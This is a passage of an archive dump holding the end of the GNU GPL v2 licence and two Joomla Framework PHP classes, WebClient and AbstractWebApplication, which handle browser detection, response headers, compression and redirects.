LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\`a�<B<B/vendor/joomla/application/src/Web/WebClient.phpnu�[���<?php /** * Part of the Joomla Framework Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application\Web; /** * Class to model a Web Client. * * @property-read integer $platform The detected platform on which the web client runs. * @property-read boolean $mobile True if the web client is a mobile device. * @property-read integer $engine The detected rendering engine used by the web client. * @property-read integer $browser The detected browser used by the web client. * @property-read string $browserVersion The detected browser version used by the web client. * @property-read array $languages The priority order detected accepted languages for the client. * @property-read array $encodings The priority order detected accepted encodings for the client. * @property-read string $userAgent The web client's user agent string. * @property-read string $acceptEncoding The web client's accepted encoding string. * @property-read string $acceptLanguage The web client's accepted languages string. * @property-read array $detection An array of flags determining whether or not a detection routine has been run. * @property-read boolean $robot True if the web client is a robot * @property-read array $headers An array of all headers sent by client * * @since 1.0 */ class WebClient { const WINDOWS = 1; const WINDOWS_PHONE = 2; const WINDOWS_CE = 3; const IPHONE = 4; const IPAD = 5; const IPOD = 6; const MAC = 7; const BLACKBERRY = 8; const ANDROID = 9; const LINUX = 10; const TRIDENT = 11; const WEBKIT = 12; const GECKO = 13; const PRESTO = 14; const KHTML = 15; const AMAYA = 16; const IE = 17; const FIREFOX = 18; const CHROME = 19; const SAFARI = 20; const OPERA = 21; const ANDROIDTABLET = 22; const EDGE = 23; const BLINK = 24; const EDG = 25; /** * @var integer The detected platform on which the web client runs. * @since 1.0 */ protected $platform; /** * @var boolean True if the web client is a mobile device. * @since 1.0 */ protected $mobile = false; /** * @var integer The detected rendering engine used by the web client. * @since 1.0 */ protected $engine; /** * @var integer The detected browser used by the web client. * @since 1.0 */ protected $browser; /** * @var string The detected browser version used by the web client. * @since 1.0 */ protected $browserVersion; /** * @var array The priority order detected accepted languages for the client. * @since 1.0 */ protected $languages = array(); /** * @var array The priority order detected accepted encodings for the client. * @since 1.0 */ protected $encodings = array(); /** * @var string The web client's user agent string. * @since 1.0 */ protected $userAgent; /** * @var string The web client's accepted encoding string. * @since 1.0 */ protected $acceptEncoding; /** * @var string The web client's accepted languages string. * @since 1.0 */ protected $acceptLanguage; /** * @var boolean True if the web client is a robot. * @since 1.0 */ protected $robot = false; /** * @var array An array of flags determining whether or not a detection routine has been run. * @since 1.0 */ protected $detection = array(); /** * @var array An array of headers sent by client * @since 1.3.0 */ protected $headers; /** * Class constructor. * * @param string $userAgent The optional user-agent string to parse. * @param string $acceptEncoding The optional client accept encoding string to parse. * @param string $acceptLanguage The optional client accept language string to parse. * * @since 1.0 */ public function __construct($userAgent = null, $acceptEncoding = null, $acceptLanguage = null) { // If no explicit user agent string was given attempt to use the implicit one from server environment. if (empty($userAgent) && isset($_SERVER['HTTP_USER_AGENT'])) { $this->userAgent = $_SERVER['HTTP_USER_AGENT']; } else { $this->userAgent = $userAgent; } // If no explicit acceptable encoding string was given attempt to use the implicit one from server environment. if (empty($acceptEncoding) && isset($_SERVER['HTTP_ACCEPT_ENCODING'])) { $this->acceptEncoding = $_SERVER['HTTP_ACCEPT_ENCODING']; } else { $this->acceptEncoding = $acceptEncoding; } // If no explicit acceptable languages string was given attempt to use the implicit one from server environment. if (empty($acceptLanguage) && isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $this->acceptLanguage = $_SERVER['HTTP_ACCEPT_LANGUAGE']; } else { $this->acceptLanguage = $acceptLanguage; } } /** * Magic method to get an object property's value by name. * * @param string $name Name of the property for which to return a value. * * @return mixed The requested value if it exists. * * @since 1.0 */ public function __get($name) { switch ($name) { case 'mobile': case 'platform': if (empty($this->detection['platform'])) { $this->detectPlatform($this->userAgent); } break; case 'engine': if (empty($this->detection['engine'])) { $this->detectEngine($this->userAgent); } break; case 'browser': case 'browserVersion': if (empty($this->detection['browser'])) { $this->detectBrowser($this->userAgent); } break; case 'languages': if (empty($this->detection['acceptLanguage'])) { $this->detectLanguage($this->acceptLanguage); } break; case 'encodings': if (empty($this->detection['acceptEncoding'])) { $this->detectEncoding($this->acceptEncoding); } break; case 'robot': if (empty($this->detection['robot'])) { $this->detectRobot($this->userAgent); } break; case 'headers': if (empty($this->detection['headers'])) { $this->detectHeaders(); } break; } // Return the property if it exists. if (isset($this->$name)) { return $this->$name; } } /** * Detects the client browser and version in a user agent string. * * @param string $userAgent The user-agent string to parse. * * @return void * * @since 1.0 */ protected function detectBrowser($userAgent) { // Attempt to detect the browser type. Obviously we are only worried about major browsers. if ((stripos($userAgent, 'MSIE') !== false) && (stripos($userAgent, 'Opera') === false)) { $this->browser = self::IE; $patternBrowser = 'MSIE'; } elseif (stripos($userAgent, 'Trident') !== false) { $this->browser = self::IE; $patternBrowser = ' rv'; } elseif (stripos($userAgent, 'Edge') !== false) { $this->browser = self::EDGE; $patternBrowser = 'Edge'; } elseif (stripos($userAgent, 'Edg') !== false) { $this->browser = self::EDG; $patternBrowser = 'Edg'; } elseif ((stripos($userAgent, 'Firefox') !== false) && (stripos($userAgent, 'like Firefox') === false)) { $this->browser = self::FIREFOX; $patternBrowser = 'Firefox'; } elseif (stripos($userAgent, 'OPR') !== false) { $this->browser = self::OPERA; $patternBrowser = 'OPR'; } elseif (stripos($userAgent, 'Chrome') !== false) { $this->browser = self::CHROME; $patternBrowser = 'Chrome'; } elseif (stripos($userAgent, 'Safari') !== false) { $this->browser = self::SAFARI; $patternBrowser = 'Safari'; } elseif (stripos($userAgent, 'Opera') !== false) { $this->browser = self::OPERA; $patternBrowser = 'Opera'; } // If we detected a known browser let's attempt to determine the version. if ($this->browser) { // Build the REGEX pattern to match the browser version string within the user agent string. $pattern = '#(?<browser>Version|' . $patternBrowser . ')[/ :]+(?<version>[0-9.|a-zA-Z.]*)#'; // Attempt to find version strings in the user agent string. $matches = array(); if (preg_match_all($pattern, $userAgent, $matches)) { // Do we have both a Version and browser match? if (\count($matches['browser']) == 2) { // See whether Version or browser came first, and use the number accordingly. if (strripos($userAgent, 'Version') < strripos($userAgent, $patternBrowser)) { $this->browserVersion = $matches['version'][0]; } else { $this->browserVersion = $matches['version'][1]; } } elseif (\count($matches['browser']) > 2) { $key = array_search('Version', $matches['browser']); if ($key) { $this->browserVersion = $matches['version'][$key]; } } else { // We only have a Version or a browser so use what we have. $this->browserVersion = $matches['version'][0]; } } } // Mark this detection routine as run. $this->detection['browser'] = true; } /** * Method to detect the accepted response encoding by the client. * * @param string $acceptEncoding The client accept encoding string to parse. * * @return void * * @since 1.0 */ protected function detectEncoding($acceptEncoding) { // Parse the accepted encodings. $this->encodings = array_map('trim', (array) explode(',', $acceptEncoding)); // Mark this detection routine as run. $this->detection['acceptEncoding'] = true; } /** * Detects the client rendering engine in a user agent string. * * @param string $userAgent The user-agent string to parse. * * @return void * * @since 1.0 */ protected function detectEngine($userAgent) { if (stripos($userAgent, 'MSIE') !== false || stripos($userAgent, 'Trident') !== false) { // Attempt to detect the client engine -- starting with the most popular ... for now. $this->engine = self::TRIDENT; } elseif (stripos($userAgent, 'Edge') !== false || stripos($userAgent, 'EdgeHTML') !== false) { $this->engine = self::EDGE; } elseif (stripos($userAgent, 'Edg') !== false) { $this->engine = self::BLINK; } elseif (stripos($userAgent, 'Chrome') !== false) { $result = explode('/', stristr($userAgent, 'Chrome')); $version = explode(' ', $result[1]); if ($version[0] >= 28) { $this->engine = self::BLINK; } else { $this->engine = self::WEBKIT; } } elseif (stripos($userAgent, 'AppleWebKit') !== false || stripos($userAgent, 'blackberry') !== false) { if (stripos($userAgent, 'AppleWebKit') !== false) { $result = explode('/', stristr($userAgent, 'AppleWebKit')); $version = explode(' ', $result[1]); if ($version[0] === 537.36) { // AppleWebKit/537.36 is Blink engine specific, exception is Blink emulated IEMobile, Trident or Edge $this->engine = self::BLINK; } } // Evidently blackberry uses WebKit and doesn't necessarily report it. Bad RIM. $this->engine = self::WEBKIT; } elseif (stripos($userAgent, 'Gecko') !== false && stripos($userAgent, 'like Gecko') === false) { // We have to check for like Gecko because some other browsers spoof Gecko. $this->engine = self::GECKO; } elseif (stripos($userAgent, 'Opera') !== false || stripos($userAgent, 'Presto') !== false) { $version = false; if (preg_match('/Opera[\/| ]?([0-9.]+)/u', $userAgent, $match)) { $version = \floatval($match[1]); } if (preg_match('/Version\/([0-9.]+)/u', $userAgent, $match)) { if (\floatval($match[1]) >= 10) { $version = \floatval($match[1]); } } if ($version !== false && $version >= 15) { $this->engine = self::BLINK; } else { $this->engine = self::PRESTO; } } elseif (stripos($userAgent, 'KHTML') !== false) { // *sigh* $this->engine = self::KHTML; } elseif (stripos($userAgent, 'Amaya') !== false) { // Lesser known engine but it finishes off the major list from Wikipedia :-) $this->engine = self::AMAYA; } // Mark this detection routine as run. $this->detection['engine'] = true; } /** * Method to detect the accepted languages by the client. * * @param mixed $acceptLanguage The client accept language string to parse. * * @return void * * @since 1.0 */ protected function detectLanguage($acceptLanguage) { // Parse the accepted encodings. $this->languages = array_map('trim', (array) explode(',', $acceptLanguage)); // Mark this detection routine as run. $this->detection['acceptLanguage'] = true; } /** * Detects the client platform in a user agent string. * * @param string $userAgent The user-agent string to parse. * * @return void * * @since 1.0 */ protected function detectPlatform($userAgent) { // Attempt to detect the client platform. if (stripos($userAgent, 'Windows') !== false) { $this->platform = self::WINDOWS; // Let's look at the specific mobile options in the Windows space. if (stripos($userAgent, 'Windows Phone') !== false) { $this->mobile = true; $this->platform = self::WINDOWS_PHONE; } elseif (stripos($userAgent, 'Windows CE') !== false) { $this->mobile = true; $this->platform = self::WINDOWS_CE; } } elseif (stripos($userAgent, 'iPhone') !== false) { // Interestingly 'iPhone' is present in all iOS devices so far including iPad and iPods. $this->mobile = true; $this->platform = self::IPHONE; // Let's look at the specific mobile options in the iOS space. if (stripos($userAgent, 'iPad') !== false) { $this->platform = self::IPAD; } elseif (stripos($userAgent, 'iPod') !== false) { $this->platform = self::IPOD; } } elseif (stripos($userAgent, 'iPad') !== false) { // In case where iPhone is not mentioned in iPad user agent string $this->mobile = true; $this->platform = self::IPAD; } elseif (stripos($userAgent, 'iPod') !== false) { // In case where iPhone is not mentioned in iPod user agent string $this->mobile = true; $this->platform = self::IPOD; } elseif (preg_match('/macintosh|mac os x/i', $userAgent)) { // This has to come after the iPhone check because mac strings are also present in iOS devices. $this->platform = self::MAC; } elseif (stripos($userAgent, 'Blackberry') !== false) { $this->mobile = true; $this->platform = self::BLACKBERRY; } elseif (stripos($userAgent, 'Android') !== false) { $this->mobile = true; $this->platform = self::ANDROID; /** * Attempt to distinguish between Android phones and tablets * There is no totally foolproof method but certain rules almost always hold * Android 3.x is only used for tablets * Some devices and browsers encourage users to change their UA string to include Tablet. * Google encourages manufacturers to exclude the string Mobile from tablet device UA strings. * In some modes Kindle Android devices include the string Mobile but they include the string Silk. */ if (stripos($userAgent, 'Android 3') !== false || stripos($userAgent, 'Tablet') !== false || stripos($userAgent, 'Mobile') === false || stripos($userAgent, 'Silk') !== false) { $this->platform = self::ANDROIDTABLET; } } elseif (stripos($userAgent, 'Linux') !== false) { $this->platform = self::LINUX; } // Mark this detection routine as run. $this->detection['platform'] = true; } /** * Determines if the browser is a robot or not. * * @param string $userAgent The user-agent string to parse. * * @return void * * @since 1.0 */ protected function detectRobot($userAgent) { if (preg_match('/http|bot|bingbot|googlebot|robot|spider|slurp|crawler|curl|^$/i', $userAgent)) { $this->robot = true; } else { $this->robot = false; } $this->detection['robot'] = true; } /** * Fills internal array of headers * * @return void * * @since 1.3.0 */ protected function detectHeaders() { if (\function_exists('getallheaders')) { // If php is working under Apache, there is a special function $this->headers = getallheaders(); } else { // Else we fill headers from $_SERVER variable $this->headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $this->headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } } // Mark this detection routine as run. $this->detection['headers'] = true; } } PKÜ�\�GIall8vendor/joomla/application/src/AbstractWebApplication.phpnu�[���<?php /** * Part of the Joomla Framework Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application; use Joomla\Input\Input; use Joomla\Registry\Registry; use Joomla\Session\Session; use Joomla\Uri\Uri; /** * Base class for a Joomla! Web application. * * @since 1.0 */ abstract class AbstractWebApplication extends AbstractApplication { /** * Character encoding string. * * @var string * @since 1.0 */ public $charSet = 'utf-8'; /** * Response mime type. * * @var string * @since 1.0 */ public $mimeType = 'text/html'; /** * HTTP protocol version. * * @var string * @since 1.9.0 */ public $httpVersion = '1.1'; /** * The body modified date for response headers. * * @var \DateTime * @since 1.0 */ public $modifiedDate; /** * The application client object. * * @var Web\WebClient * @since 1.0 */ public $client; /** * The application response object. * * @var object * @since 1.0 */ protected $response; /** * The application session object. * * @var Session * @since 1.0 */ private $session; /** * A map of integer HTTP response codes to the full HTTP Status for the headers. * * @var array * @since 1.6.0 * @link https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml */ private $responseMap = array( 100 => 'HTTP/{version} 100 Continue', 101 => 'HTTP/{version} 101 Switching Protocols', 102 => 'HTTP/{version} 102 Processing', 200 => 'HTTP/{version} 200 OK', 201 => 'HTTP/{version} 201 Created', 202 => 'HTTP/{version} 202 Accepted', 203 => 'HTTP/{version} 203 Non-Authoritative Information', 204 => 'HTTP/{version} 204 No Content', 205 => 'HTTP/{version} 205 Reset Content', 206 => 'HTTP/{version} 206 Partial Content', 207 => 'HTTP/{version} 207 Multi-Status', 208 => 'HTTP/{version} 208 Already Reported', 226 => 'HTTP/{version} 226 IM Used', 300 => 'HTTP/{version} 300 Multiple Choices', 301 => 'HTTP/{version} 301 Moved Permanently', 302 => 'HTTP/{version} 302 Found', 303 => 'HTTP/{version} 303 See other', 304 => 'HTTP/{version} 304 Not Modified', 305 => 'HTTP/{version} 305 Use Proxy', 306 => 'HTTP/{version} 306 (Unused)', 307 => 'HTTP/{version} 307 Temporary Redirect', 308 => 'HTTP/{version} 308 Permanent Redirect', 400 => 'HTTP/{version} 400 Bad Request', 401 => 'HTTP/{version} 401 Unauthorized', 402 => 'HTTP/{version} 402 Payment Required', 403 => 'HTTP/{version} 403 Forbidden', 404 => 'HTTP/{version} 404 Not Found', 405 => 'HTTP/{version} 405 Method Not Allowed', 406 => 'HTTP/{version} 406 Not Acceptable', 407 => 'HTTP/{version} 407 Proxy Authentication Required', 408 => 'HTTP/{version} 408 Request Timeout', 409 => 'HTTP/{version} 409 Conflict', 410 => 'HTTP/{version} 410 Gone', 411 => 'HTTP/{version} 411 Length Required', 412 => 'HTTP/{version} 412 Precondition Failed', 413 => 'HTTP/{version} 413 Payload Too Large', 414 => 'HTTP/{version} 414 URI Too Long', 415 => 'HTTP/{version} 415 Unsupported Media Type', 416 => 'HTTP/{version} 416 Range Not Satisfiable', 417 => 'HTTP/{version} 417 Expectation Failed', 418 => 'HTTP/{version} 418 I\'m a teapot', 421 => 'HTTP/{version} 421 Misdirected Request', 422 => 'HTTP/{version} 422 Unprocessable Entity', 423 => 'HTTP/{version} 423 Locked', 424 => 'HTTP/{version} 424 Failed Dependency', 426 => 'HTTP/{version} 426 Upgrade Required', 428 => 'HTTP/{version} 428 Precondition Required', 429 => 'HTTP/{version} 429 Too Many Requests', 431 => 'HTTP/{version} 431 Request Header Fields Too Large', 451 => 'HTTP/{version} 451 Unavailable For Legal Reasons', 500 => 'HTTP/{version} 500 Internal Server Error', 501 => 'HTTP/{version} 501 Not Implemented', 502 => 'HTTP/{version} 502 Bad Gateway', 503 => 'HTTP/{version} 503 Service Unavailable', 504 => 'HTTP/{version} 504 Gateway Timeout', 505 => 'HTTP/{version} 505 HTTP Version Not Supported', 506 => 'HTTP/{version} 506 Variant Also Negotiates', 507 => 'HTTP/{version} 507 Insufficient Storage', 508 => 'HTTP/{version} 508 Loop Detected', 510 => 'HTTP/{version} 510 Not Extended', 511 => 'HTTP/{version} 511 Network Authentication Required', ); /** * Class constructor. * * @param Input $input An optional argument to provide dependency injection for the application's input object. If the argument * is an Input object that object will become the application's input object, otherwise a default input * object is created. * @param Registry $config An optional argument to provide dependency injection for the application's config object. If the argument * is a Registry object that object will become the application's config object, otherwise a default config * object is created. * @param Web\WebClient $client An optional argument to provide dependency injection for the application's client object. If the argument * is a Web\WebClient object that object will become the application's client object, otherwise a default client * object is created. * * @since 1.0 */ public function __construct(Input $input = null, Registry $config = null, Web\WebClient $client = null) { $this->client = $client instanceof Web\WebClient ? $client : new Web\WebClient; // Setup the response object. $this->response = new \stdClass; $this->response->cachable = false; $this->response->headers = array(); $this->response->body = array(); // Call the constructor as late as possible (it runs `initialise`). parent::__construct($input, $config); // Set the system URIs. $this->loadSystemUris(); } /** * Execute the application. * * @return void * * @since 1.0 */ public function execute() { // @event onBeforeExecute // Perform application routines. $this->doExecute(); // @event onAfterExecute // If gzip compression is enabled in configuration and the server is compliant, compress the output. if ($this->get('gzip') && !ini_get('zlib.output_compression') && (ini_get('output_handler') != 'ob_gzhandler')) { $this->compress(); } // @event onBeforeRespond // Send the application response. $this->respond(); // @event onAfterRespond } /** * Checks the accept encoding of the browser and compresses the data before * sending it to the client if possible. * * @return void * * @since 1.0 */ protected function compress() { // Supported compression encodings. $supported = array( 'x-gzip' => 'gz', 'gzip' => 'gz', 'deflate' => 'deflate', ); // Get the supported encoding. $encodings = array_intersect($this->client->encodings, array_keys($supported)); // If no supported encoding is detected do nothing and return. if (empty($encodings)) { return; } // Verify that headers have not yet been sent, and that our connection is still alive. if ($this->checkHeadersSent() || !$this->checkConnectionAlive()) { return; } // Iterate through the encodings and attempt to compress the data using any found supported encodings. foreach ($encodings as $encoding) { if (($supported[$encoding] == 'gz') || ($supported[$encoding] == 'deflate')) { // Verify that the server supports gzip compression before we attempt to gzip encode the data. // @codeCoverageIgnoreStart if (!\extension_loaded('zlib') || ini_get('zlib.output_compression')) { continue; } // @codeCoverageIgnoreEnd // Attempt to gzip encode the data with an optimal level 4. $data = $this->getBody(); $gzdata = gzencode($data, 4, ($supported[$encoding] == 'gz') ? FORCE_GZIP : FORCE_DEFLATE); // If there was a problem encoding the data just try the next encoding scheme. // @codeCoverageIgnoreStart if ($gzdata === false) { continue; } // @codeCoverageIgnoreEnd // Set the encoding headers. $this->setHeader('Content-Encoding', $encoding); $this->setHeader('Vary', 'Accept-Encoding'); $this->setHeader('X-Content-Encoded-By', 'Joomla'); // Replace the output with the encoded data. $this->setBody($gzdata); // Compression complete, let's break out of the loop. break; } } } /** * Method to send the application response to the client. All headers will be sent prior to the main * application output data. * * @return void * * @since 1.0 */ protected function respond() { // Send the content-type header. $this->setHeader('Content-Type', $this->mimeType . '; charset=' . $this->charSet); // If the response is set to uncachable, we need to set some appropriate headers so browsers don't cache the response. if (!$this->allowCache()) { // Expires in the past. $this->setHeader('Expires', 'Wed, 17 Aug 2005 00:00:00 GMT', true); // Always modified. $this->setHeader('Last-Modified', gmdate('D, d M Y H:i:s') . ' GMT', true); $this->setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0', false); // HTTP 1.0 $this->setHeader('Pragma', 'no-cache'); } else { // Expires. $this->setHeader('Expires', gmdate('D, d M Y H:i:s', time() + 900) . ' GMT'); // Last modified. if ($this->modifiedDate instanceof \DateTime) { $this->modifiedDate->setTimezone(new \DateTimeZone('UTC')); $this->setHeader('Last-Modified', $this->modifiedDate->format('D, d M Y H:i:s') . ' GMT'); } } $this->sendHeaders(); echo $this->getBody(); } /** * Redirect to another URL. * * If the headers have not been sent the redirect will be accomplished using a "301 Moved Permanently" * or "303 See Other" code in the header pointing to the new location. If the headers have already been * sent this will be accomplished using a JavaScript statement. * * @param string $url The URL to redirect to. Can only be http/https URL * @param integer $status The HTTP status code to be provided. 303 is assumed by default. * * @return void * * @since 1.0 * @throws \InvalidArgumentException */ public function redirect($url, $status = 303) { // Check for relative internal links. if (preg_match('#^index\.php#', $url)) { $url = $this->get('uri.base.full') . $url; } // Perform a basic sanity check to make sure we don't have any CRLF garbage. $url = preg_split("/[\r\n]/", $url); $url = $url[0]; /* * Here we need to check and see if the URL is relative or absolute. Essentially, do we need to * prepend the URL with our base URL for a proper redirect. The rudimentary way we are looking * at this is to simply check whether or not the URL string has a valid scheme or not. */ if (!preg_match('#^[a-z]+\://#i', $url)) { // Get a Uri instance for the requested URI. $uri = new Uri($this->get('uri.request')); // Get a base URL to prepend from the requested URI. $prefix = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); // We just need the prefix since we have a path relative to the root. if ($url[0] == '/') { $url = $prefix . $url; } else { // It's relative to where we are now, so lets add that. $parts = explode('/', $uri->toString(array('path'))); array_pop($parts); $path = implode('/', $parts) . '/'; $url = $prefix . $path . $url; } } // If the headers have already been sent we need to send the redirect statement via JavaScript. if ($this->checkHeadersSent()) { echo '<script>document.location.href=' . json_encode($url) . ";</script>\n"; } else { // We have to use a JavaScript redirect here because MSIE doesn't play nice with utf-8 URLs. if (($this->client->engine == Web\WebClient::TRIDENT) && !static::isAscii($url)) { $html = '<html><head>'; $html .= '<meta http-equiv="content-type" content="text/html; charset=' . $this->charSet . '" />'; $html .= '<script>document.location.href=' . json_encode($url) . ';</script>'; $html .= '</head><body></body></html>'; echo $html; } else { // Check if we have a boolean for the status variable for compatibility with v1 of the framework // @deprecated 3.0 if (\is_bool($status)) { $status = $status ? 301 : 303; } if (!\is_int($status) && !$this->isRedirectState($status)) { throw new \InvalidArgumentException('You have not supplied a valid HTTP status code'); } // All other cases use the more efficient HTTP header for redirection. $this->setHeader('Status', $status, true); $this->setHeader('Location', $url, true); } } // Set appropriate headers $this->respond(); // Close the application after the redirect. $this->close(); } /** * Set/get cachable state for the response. If $allow is set, sets the cachable state of the * response. Always returns the current state. * * @param boolean $allow True to allow browser caching. * * @return boolean * * @since 1.0 */ public function allowCache($allow = null) { if ($allow !== null) { $this->response->cachable = (bool) $allow; } return $this->response->cachable; } /** * Method to set a response header. If the replace flag is set then all headers * with the given name will be replaced by the new one. The headers are stored * in an internal array to be sent when the site is sent to the browser. * * @param string $name The name of the header to set. * @param string $value The value of the header to set. * @param boolean $replace True to replace any headers with the same name. * * @return AbstractWebApplication Instance of $this to allow chaining. * * @since 1.0 */ public function setHeader($name, $value, $replace = false) { // Sanitize the input values. $name = (string) $name; $value = (string) $value; // If the replace flag is set, unset all known headers with the given name. if ($replace) { foreach ($this->response->headers as $key => $header) { if ($name == $header['name']) { unset($this->response->headers[$key]); } } // Clean up the array as unsetting nested arrays leaves some junk. $this->response->headers = array_values($this->response->headers); } // Add the header to the internal array. $this->response->headers[] = array('name' => $name, 'value' => $value); return $this; } /** * Method to get the array of response headers to be sent when the response is sent * to the client. * * @return array * * @since 1.0 */ public function getHeaders() { return $this->response->headers; } /** * Method to clear any set response headers. * * @return AbstractWebApplication Instance of $this to allow chaining. * * @since 1.0 */ public function clearHeaders() { $this->response->headers = array(); return $this; } /** * Send the response headers. * * @return AbstractWebApplication Instance of $this to allow chaining. * * @since 1.0 */ public function sendHeaders() { if (!$this->checkHeadersSent()) { foreach ($this->response->headers as $header) { if (strtolower($header['name']) == 'status') { // 'status' headers indicate an HTTP status, and need to be handled slightly differently $status = $this->getHttpStatusValue($header['value']); $this->header($status, true, (int) $header['value']); } else { $this->header($header['name'] . ': ' . $header['value']); } } } return $this; } /** * Set body content. If body content already defined, this will replace it. * * @param string $content The content to set as the response body. * * @return AbstractWebApplication Instance of $this to allow chaining. * * @since 1.0 */ public function setBody($content) { $this->response->body = array((string) $content); return $this; } /** * Prepend content to the body content * * @param string $content The content to prepend to the response body. * * @return AbstractWebApplication Instance of $this to allow chaining. * * @since 1.0 */ public function prependBody($content) { array_unshift($this->response->body, (string) $content); return $this; } /** * Append content to the body content * * @param string $content The content to append to the response body. * * @return AbstractWebApplication Instance of $this to allow chaining. * * @since 1.0 */ public function appendBody($content) { $this->response->body[] = (string) $content; return $this; } /** * Return the body content * * @param boolean $asArray True to return the body as an array of strings. * * @return string|string[] The response body either as an array or concatenated string. * * @since 1.0 */ public function getBody($asArray = false) { return $asArray ? $this->response->body : implode((array) $this->response->body); } /** * Method to get the application session object. * * @return Session The session object * * @since 1.0 */ public function getSession() { if ($this->session === null) { throw new \RuntimeException('A \Joomla\Session\Session object has not been set.'); } return $this->session; } /** * Check if a given value can be successfully mapped to a valid http status value * * @param string|int $value The given status as int or string * * @return string * * @since 1.8.0 */ protected function getHttpStatusValue($value) { $code = (int) $value; if (array_key_exists($code, $this->responseMap)) { $value = $this->responseMap[$code]; } else { $value = 'HTTP/{version} ' . $code; } return str_replace('{version}', $this->httpVersion, $value); } /** * Check if the value is a valid HTTP status code * * @param integer $code The potential status code * * @return boolean * * @since 1.8.1 */ public function isValidHttpStatus($code) { return array_key_exists($code, $this->responseMap); } /** * Method to check the current client connection status to ensure that it is alive. We are * wrapping this to isolate the connection_status() function from our code base for testing reasons. * * @return boolean True if the connection is valid and normal. * * @codeCoverageIgnore * @see connection_status() * @since 1.0 */ protected function checkConnectionAlive() { return connection_status() === CONNECTION_NORMAL; } /** * Method to check to see if headers have already been sent. We are wrapping this to isolate the * headers_sent() function from our code base for testing reasons. * * @return boolean True if the headers have already been sent. * * @codeCoverageIgnore * @see headers_sent() * @since 1.0 */ protected function checkHeadersSent() { return headers_sent(); } /** * Method to detect the requested URI from server environment variables. * * @return string The requested URI * * @since 1.0 */ protected function detectRequestUri() { // First we need to detect the URI scheme. if ($this->isSslConnection()) { $scheme = 'https://'; } else { $scheme = 'http://'; } /* * There are some differences in the way that Apache and IIS populate server environment variables. To * properly detect the requested URI we need to adjust our algorithm based on whether or not we are getting * information from Apache or IIS. */ $phpSelf = $this->input->server->getString('PHP_SELF', ''); $requestUri = $this->input->server->getString('REQUEST_URI', ''); // If PHP_SELF and REQUEST_URI are both populated then we will assume "Apache Mode". if (!empty($phpSelf) && !empty($requestUri)) { // The URI is built from the HTTP_HOST and REQUEST_URI environment variables in an Apache environment. $uri = $scheme . $this->input->server->getString('HTTP_HOST') . $requestUri; } else { // If not in "Apache Mode" we will assume that we are in an IIS environment and proceed. // IIS uses the SCRIPT_NAME variable instead of a REQUEST_URI variable... thanks, MS $uri = $scheme . $this->input->server->getString('HTTP_HOST') . $this->input->server->getString('SCRIPT_NAME'); $queryHost = $this->input->server->getString('QUERY_STRING', ''); // If the QUERY_STRING variable exists append it to the URI string. if (!empty($queryHost)) { $uri .= '?' . $queryHost; } } return trim($uri); } /** * Method to send a header to the client. We are wrapping this to isolate the header() function * from our code base for testing reasons. * * @param string $string The header string. * @param boolean $replace The optional replace parameter indicates whether the header should * replace a previous similar header, or add a second header of the same type. * @param integer $code Forces the HTTP response code to the specified value. Note that * this parameter only has an effect if the string is not empty. * * @return void * * @codeCoverageIgnore * @see header() * @since 1.0 */ protected function header($string, $replace = true, $code = null) { header(str_replace(\chr(0), '', $string), $replace, $code); } /** * Checks if a state is a redirect state * * @param integer $state The HTTP status code. * * @return boolean * * @since 1.8.0 */ protected function isRedirectState($state) { $state = (int) $state; return $state > 299 && $state < 400 && array_key_exists($state, $this->responseMap); } /** * Determine if we are using a secure (SSL) connection. * * @return boolean True if using SSL, false if not. * * @since 1.0 */ public function isSslConnection() { $serverSSLVar = $this->input->server->getString('HTTPS', ''); if (!empty($serverSSLVar) && strtolower($serverSSLVar) !== 'off') { return true; } $serverForwarderProtoVar = 